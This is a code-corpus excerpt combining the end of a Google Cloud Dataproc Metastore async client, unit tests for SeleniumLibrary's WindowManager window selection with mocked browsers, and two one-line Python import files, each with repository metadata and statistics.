ValueError( "If the `request` argument is set, then none of " "the individual field arguments should be set." ) request = metastore.DeleteBackupRequest(request) # If we have keyword arguments corresponding to fields on the # request, apply these. if name is not None: request.name = name # Wrap the RPC method; this adds retry and timeout information, # and friendly error handling. rpc = gapic_v1.method_async.wrap_method( self._client._transport.delete_backup, default_timeout=60.0, client_info=DEFAULT_CLIENT_INFO, ) # Certain fields should be provided within the metadata header; # add these here. metadata = tuple(metadata) + ( gapic_v1.routing_header.to_grpc_metadata((("name", request.name),)), ) # Send the request. response = await rpc(request, retry=retry, timeout=timeout, metadata=metadata,) # Wrap the response in an operation future. response = operation_async.from_gapic( response, self._client._transport.operations_client, empty_pb2.Empty, metadata_type=metastore.OperationMetadata, ) # Done; return the response. return response async def __aenter__(self): return self async def __aexit__(self, exc_type, exc, tb): await self.transport.close() try: DEFAULT_CLIENT_INFO = gapic_v1.client_info.ClientInfo( gapic_version=pkg_resources.get_distribution("google-cloud-metastore",).version, ) except pkg_resources.DistributionNotFound: DEFAULT_CLIENT_INFO = gapic_v1.client_info.ClientInfo() __all__ = ("DataprocMetastoreAsyncClient",)

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ed83ab2e71ee7220d989616ffae7cf8a3b26b989

15,088

py

Python

test/unit/locators/test_windowmanager.py

ponkar/robotframework-selenium2library

e41b6ea6664fe80f469ac7c5dfd9717819b97d18

[ "ECL-2.0", "Apache-2.0" ]

null

test/unit/locators/test_windowmanager.py

ponkar/robotframework-selenium2library

e41b6ea6664fe80f469ac7c5dfd9717819b97d18

[ "ECL-2.0", "Apache-2.0" ]

null

test/unit/locators/test_windowmanager.py

ponkar/robotframework-selenium2library

e41b6ea6664fe80f469ac7c5dfd9717819b97d18

[ "ECL-2.0", "Apache-2.0" ]

null

import unittest import uuid from mockito import mock, unstub from SeleniumLibrary.locators.windowmanager import WindowManager class WindowManagerTests(unittest.TestCase): def test_select_with_invalid_prefix(self): manager = WindowManager() browser = mock() with self.assertRaises(ValueError) as err: manager.select(browser, "something=test1") self.assertEqual( str(err), "Window locator with prefix 'something' is not supported" ) unstub() def test_select_with_null_browser(self): manager = WindowManager() with self.assertRaises(AssertionError): manager.select(None, "name=test1") unstub() def test_select_by_title(self): manager = WindowManager() browser = self._make_mock_browser( {'name': 'win1', 'title': "Title 1", 'url': 'http://localhost/page1.html'}, {'name': 'win2', 'title': "Title 2", 'url': 'http://localhost/page2.html'}, {'name': 'win3', 'title': "Title 3", 'url': 'http://localhost/page3.html'}) manager.select(browser, "title=Title 2") self.assertEqual(browser.current_window.name, 'win2') unstub() def test_select_by_title_sloppy_match(self): manager = WindowManager() browser = self._make_mock_browser( {'name': 'win1', 'title': "Title 1", 'url': 'http://localhost/page1.html'}, {'name': 'win2', 'title': "Title 2", 'url': 'http://localhost/page2.html'}, {'name': 'win3', 'title': "Title 3", 'url': 'http://localhost/page3.html'}) manager.select(browser, "title= tItLe 2 ") self.assertEqual(browser.current_window.name, 'win2') unstub() def test_select_by_title_with_multiple_matches(self): manager = WindowManager() browser = self._make_mock_browser( {'name': 'win1', 'title': "Title 1", 'url': 'http://localhost/page1.html'}, {'name': 'win2a', 'title': "Title 2", 'url': 'http://localhost/page2a.html'}, {'name': 'win2b', 'title': "Title 2", 'url': 'http://localhost/page2b.html'}) manager.select(browser, "title=Title 2") self.assertEqual(browser.current_window.name, 'win2a') unstub() def test_select_by_title_no_match(self): manager = WindowManager() browser = self._make_mock_browser( {'name': 'win1', 'title': "Title 1", 'url': 'http://localhost/page1.html'}, {'name': 'win2', 'title': "Title 2", 'url': 'http://localhost/page2.html'}, {'name': 'win3', 'title': "Title 3", 'url': 'http://localhost/page3.html'}) with self.assertRaises(ValueError) as err: manager.select(browser, "title=Title -1") self.assertEqual( str(err), "Unable to locate window with title 'Title -1'" ) unstub() def test_select_by_name(self): manager = WindowManager() browser = self._make_mock_browser( {'name': 'win1', 'title': "Title 1", 'url': 'http://localhost/page1.html'}, {'name': 'win2', 'title': "Title 2", 'url': 'http://localhost/page2.html'}, {'name': 'win3', 'title': "Title 3", 'url': 'http://localhost/page3.html'}) manager.select(browser, "name=win2") self.assertEqual(browser.current_window.name, 'win2') unstub() def test_select_by_name_sloppy_match(self): manager = WindowManager() browser = self._make_mock_browser( {'name': 'win1', 'title': "Title 1", 'url': 'http://localhost/page1.html'}, {'name': 'win2', 'title': "Title 2", 'url': 'http://localhost/page2.html'}, {'name': 'win3', 'title': "Title 3", 'url': 'http://localhost/page3.html'}) manager.select(browser, "name= win2 ") self.assertEqual(browser.current_window.name, 'win2') unstub() def test_select_by_name_with_bad_case(self): manager = WindowManager() browser = self._make_mock_browser( {'name': 'win1', 'title': "Title 1", 'url': 'http://localhost/page1.html'}, {'name': 'win2', 'title': "Title 2", 'url': 'http://localhost/page2.html'}, {'name': 'win3', 'title': "Title 3", 'url': 'http://localhost/page3.html'}) manager.select(browser, "name=Win2") self.assertEqual(browser.current_window.name, 'win2') unstub() def test_select_by_name_no_match(self): manager = WindowManager() browser = self._make_mock_browser( {'name': 'win1', 'title': "Title 1", 'url': 'http://localhost/page1.html'}, {'name': 'win2', 'title': "Title 2", 'url': 'http://localhost/page2.html'}, {'name': 'win3', 'title': "Title 3", 'url': 'http://localhost/page3.html'}) with self.assertRaises(ValueError) as err: manager.select(browser, "name=win-1") self.assertEqual(str(err), "Unable to locate window with name 'win-1'") unstub() def test_select_by_url(self): manager = WindowManager() browser = self._make_mock_browser( {'name': 'win1', 'title': "Title 1", 'url': 'http://localhost/page1.html'}, {'name': 'win2', 'title': "Title 2", 'url': 'http://localhost/page2.html'}, {'name': 'win3', 'title': "Title 3", 'url': 'http://localhost/page3.html'}) manager.select(browser, "url=http://localhost/page2.html") self.assertEqual(browser.current_window.name, 'win2') unstub() def test_select_by_url_sloppy_match(self): manager = WindowManager() browser = self._make_mock_browser( {'name': 'win1', 'title': "Title 1", 'url': 'http://localhost/page1.html'}, {'name': 'win2', 'title': "Title 2", 'url': 'http://localhost/page2.html'}, {'name': 'win3', 'title': "Title 3", 'url': 'http://localhost/page3.html'}) manager.select(browser, "url= http://LOCALHOST/page2.html ") self.assertEqual(browser.current_window.name, 'win2') unstub() def test_select_by_url_with_multiple_matches(self): manager = WindowManager() browser = self._make_mock_browser( {'name': 'win1', 'title': "Title 1", 'url': 'http://localhost/page1.html'}, {'name': 'win2a', 'title': "Title 2a", 'url': 'http://localhost/page2.html'}, {'name': 'win2b', 'title': "Title 2b", 'url': 'http://localhost/page2.html'}) manager.select(browser, "url=http://localhost/page2.html") self.assertEqual(browser.current_window.name, 'win2a') unstub() def test_select_by_url_no_match(self): manager = WindowManager() browser = self._make_mock_browser( {'name': 'win1', 'title': "Title 1", 'url': 'http://localhost/page1.html'}, {'name': 'win2', 'title': "Title 2", 'url': 'http://localhost/page2.html'}, {'name': 'win3', 'title': "Title 3", 'url': 'http://localhost/page3.html'} ) with self.assertRaises(ValueError) as err: manager.select(browser, "url=http://localhost/page-1.html") self.assertEqual( str(err), ( "Unable to locate window with URL " "'http://localhost/page-1.html'" ) ) unstub() def test_select_with_null_locator(self): manager = WindowManager() browser = self._make_mock_browser( {'name': 'win1', 'title': "Title 1", 'url': 'http://localhost/page1.html'}, {'name': 'win2', 'title': "Title 2", 'url': 'http://localhost/page2.html'}, {'name': 'win3', 'title': "Title 3", 'url': 'http://localhost/page3.html'} ) manager.select(browser, "name=win2") self.assertEqual(browser.current_window.name, 'win2') manager.select(browser, None) self.assertEqual(browser.current_window.name, 'win1') unstub() def test_select_with_null_string_locator(self): manager = WindowManager() browser = self._make_mock_browser( {'name': 'win1', 'title': "Title 1", 'url': 'http://localhost/page1.html'}, {'name': 'win2', 'title': "Title 2", 'url': 'http://localhost/page2.html'}, {'name': 'win3', 'title': "Title 3", 'url': 'http://localhost/page3.html'}) manager.select(browser, "name=win2") self.assertEqual(browser.current_window.name, 'win2') manager.select(browser, "null") self.assertEqual(browser.current_window.name, 'win1') unstub() def test_select_with_empty_locator(self): manager = WindowManager() browser = self._make_mock_browser( {'name': 'win1', 'title': "Title 1", 'url': 'http://localhost/page1.html'}, {'name': 'win2', 'title': "Title 2", 'url': 'http://localhost/page2.html'}, {'name': 'win3', 'title': "Title 3", 'url': 'http://localhost/page3.html'}) manager.select(browser, "name=win2") self.assertEqual(browser.current_window.name, 'win2') manager.select(browser, "") self.assertEqual(browser.current_window.name, 'win1') unstub() def test_select_with_main_constant_locator(self): manager = WindowManager() browser = self._make_mock_browser( {'name': 'win1', 'title': "Title 1", 'url': 'http://localhost/page1.html'}, {'name': 'win2', 'title': "Title 2", 'url': 'http://localhost/page2.html'}, {'name': 'win3', 'title': "Title 3", 'url': 'http://localhost/page3.html'}) manager.select(browser, "name=win2") self.assertEqual(browser.current_window.name, 'win2') manager.select(browser, "main") self.assertEqual(browser.current_window.name, 'win1') unstub() def test_select_by_default_with_name(self): manager = WindowManager() browser = self._make_mock_browser( {'name': 'win1', 'title': "Title 1", 'url': 'http://localhost/page1.html'}, {'name': 'win2', 'title': "Title 2", 'url': 'http://localhost/page2.html'}, {'name': 'win3', 'title': "Title 3", 'url': 'http://localhost/page3.html'}) manager.select(browser, "win2") self.assertEqual(browser.current_window.name, 'win2') unstub() def test_select_by_default_with_title(self): manager = WindowManager() browser = self._make_mock_browser( {'name': 'win1', 'title': "Title 1", 'url': 'http://localhost/page1.html'}, {'name': 'win2', 'title': "Title 2", 'url': 'http://localhost/page2.html'}, {'name': 'win3', 'title': "Title 3", 'url': 'http://localhost/page3.html'}) manager.select(browser, "Title 2") self.assertEqual(browser.current_window.name, 'win2') unstub() def test_select_by_default_no_match(self): manager = WindowManager() browser = self._make_mock_browser( {'name': 'win1', 'title': "Title 1", 'url': 'http://localhost/page1.html'}, {'name': 'win2', 'title': "Title 2", 'url': 'http://localhost/page2.html'}, {'name': 'win3', 'title': "Title 3", 'url': 'http://localhost/page3.html'}) self.assertRaises(ValueError, manager.select, browser, "win-1") unstub() def test_select_with_sloppy_prefix(self): manager = WindowManager() browser = self._make_mock_browser( {'name': 'win1', 'title': "Title 1", 'url': 'http://localhost/page1.html'}, {'name': 'win2', 'title': "Title 2", 'url': 'http://localhost/page2.html'}, {'name': 'win3', 'title': "Title 3", 'url': 'http://localhost/page3.html'}) manager.select(browser, "name=win2") self.assertEqual(browser.current_window.name, 'win2') manager.select(browser, "nAmE=win2") self.assertEqual(browser.current_window.name, 'win2') manager.select(browser, " name =win2") self.assertEqual(browser.current_window.name, 'win2') unstub() def test_get_window_ids(self): manager = WindowManager() browser = self._make_mock_browser( {'id': 'win_id1', 'name': 'win1', 'title': "Title 1", 'url': 'http://localhost/page1.html'}, {'id': 'win_id2', 'name': 'win2', 'title': "Title 2", 'url': 'http://localhost/page2.html'}, {'name': 'win3', 'title': "Title 3", 'url': 'http://localhost/page3.html'}) self.assertEqual( manager.get_window_ids(browser), ['win_id1', 'win_id2', 'undefined'] ) unstub() def test_get_window_names(self): manager = WindowManager() browser = self._make_mock_browser( {'name': 'win1', 'title': "Title 1", 'url': 'http://localhost/page1.html'}, {'name': 'win2', 'title': "Title 2", 'url': 'http://localhost/page2.html'}, {'name': 'win3', 'title': "Title 3", 'url': 'http://localhost/page3.html'}) self.assertEqual( manager.get_window_names(browser), ['win1', 'win2', 'win3'] ) unstub() def test_get_window_titles(self): manager = WindowManager() browser = self._make_mock_browser( {'name': 'win1', 'title': "Title 1", 'url': 'http://localhost/page1.html'}, {'name': 'win2', 'title': "Title 2", 'url': 'http://localhost/page2.html'}, {'name': 'win3', 'title': "Title 3", 'url': 'http://localhost/page3.html'}) self.assertEqual( manager.get_window_titles(browser), ['Title 1', 'Title 2', 'Title 3'] ) unstub() def _make_mock_browser(self, *window_specs): browser = mock() current_window = mock() browser.window_handles = [] window_infos = {} for window_spec in window_specs: handle = uuid.uuid4().hex browser.window_handles.append(handle) id_ = window_spec.get('id') if not id_: id_ = 'undefined' window_info = [ id_, window_spec.get('name'), window_spec.get('title'), window_spec.get('url') ] window_infos[handle] = window_info def window(handle_): if handle_ in browser.window_handles: browser.session_id = handle_ current_window.name = window_infos[handle_][1] browser.current_window = current_window browser.title = window_infos[handle_][2] browser.current_url = window_infos[handle_][3] switch_to = mock() switch_to.window = window browser.switch_to = switch_to def execute_script(script): handle_ = browser.session_id if handle_ in browser.window_handles: return window_infos[handle_][:2] browser.execute_script = execute_script return browser

43.481268

104

0.571911

1,654

15,088

5.05925

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0.141491

0.065249

0.858509

0.833533

0.792543

0.790511

0.784536

0.772586

0

0.02405

0.253181

15,088

346

105

43.606936

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0

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0

0.119863

1

0.09589

false

0

0.013699

0

0.119863

0

null

0

1

0

null

0

6

71eb801b18973cbba0355b36453751501e16172c

40

py

Python

tests/unit/test_fetch_screen.py

BGASM/pyentrez

72eeced35c888726210e9cd68885b409d1b489ce

[ "MIT" ]

null

tests/unit/test_fetch_screen.py

BGASM/pyentrez

72eeced35c888726210e9cd68885b409d1b489ce

[ "MIT" ]

34

2020-11-22T19:08:56.000Z

2020-12-10T18:47:06.000Z

tests/unit/test_fetch_screen.py

BGASM/pyEntrez

72eeced35c888726210e9cd68885b409d1b489ce

[ "MIT" ]

null

from pyentrez.main import fetch_screen

13.333333

38

0.85

6

40

5.5

1

0

0.125

40

2

39

20

0.942857

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

71f624bbf26e0e904063892d868b7147c5a90f39

24

py

Python

furnace/seg_opr/__init__.py

Yongjin-colin-choi/TorchSemiSeg

8e2bacfd76ee8ab7c7e5c8e37ce4a4fcb0ef6371

[ "MIT" ]

1,439

2019-01-23T08:40:57.000Z

2022-03-31T14:02:22.000Z

furnace/seg_opr/__init__.py

happog/TorchSeg

c5d370778349d9438ed8c854f267d3ba11ffd72f

[ "MIT" ]

112

2019-01-25T02:31:26.000Z

2021-09-23T08:42:37.000Z

furnace/seg_opr/__init__.py

happog/TorchSeg

c5d370778349d9438ed8c854f267d3ba11ffd72f

[ "MIT" ]

287

2019-01-23T10:39:37.000Z

2022-03-17T13:31:16.000Z

from .seg_oprs import *

12

23

0.75

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24

4.25

1

0

0.166667

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1

24

0.85

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6